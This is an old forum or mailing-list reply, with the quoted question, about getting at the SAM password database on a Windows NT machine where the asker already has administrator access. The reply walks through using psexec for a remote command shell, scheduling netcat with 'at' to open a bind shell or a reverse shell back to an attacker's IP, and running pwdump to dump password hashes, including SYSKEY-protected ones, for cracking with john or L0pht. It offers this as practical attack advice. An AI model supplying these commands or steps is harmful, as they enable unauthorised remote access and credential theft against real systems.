Like Marlon Jabbur noted, use psexec from http://www.sysinternals.com/ntw2k/freeware/pstools.shtml : 

C:\>psexec \\192.168.1.1 cmd.exe

Don't mess around with the scheduler and net time. Psexec makes it much easier. Also, once you have admin, you can use 
pwdump3 and then john or L0pht to crack the passwords.

You can always upload any tool you like, such as pwdump, and then you
just have to execute it. In order to execute it you can:
1. upload netcat (nc.exe)
2. execute "net time \\target"
3. schedule a job like: 
at \\target 7:14P ""c:\nc.exe -L -p 2222 -e cmd.exe and then establish a
connection (with netcat preferably) to port 2222
or, if the system is firewalled
at \\target 7:14P ""c:\nc.exe [your IP] 80 -e cmd.exe and have a netcat
listening on port 80 (nc -L -p 80)in order to establish a reverse shell.
After gaining a shell on the system execute pwdump and download the
results. Furthermore, if you use pwdump2 you can extract the passwords
even if the SAM is SYSKEY protected.

I hope this helped

Subject: Access to a win NT box



Hi, I've got remote access to a wNT box using the command



\\machinename\c$ /user:machinename\administrator



So i've got administrator privileges but i want to access to the SAM 

database.



I've tried to get \\winnt\repair\sam._ but i couldn't find the rdisk 

comand.



Can anybody help tell me where can i find this software, or if there is 

another way to get access to the sam file.



Thanks in advance
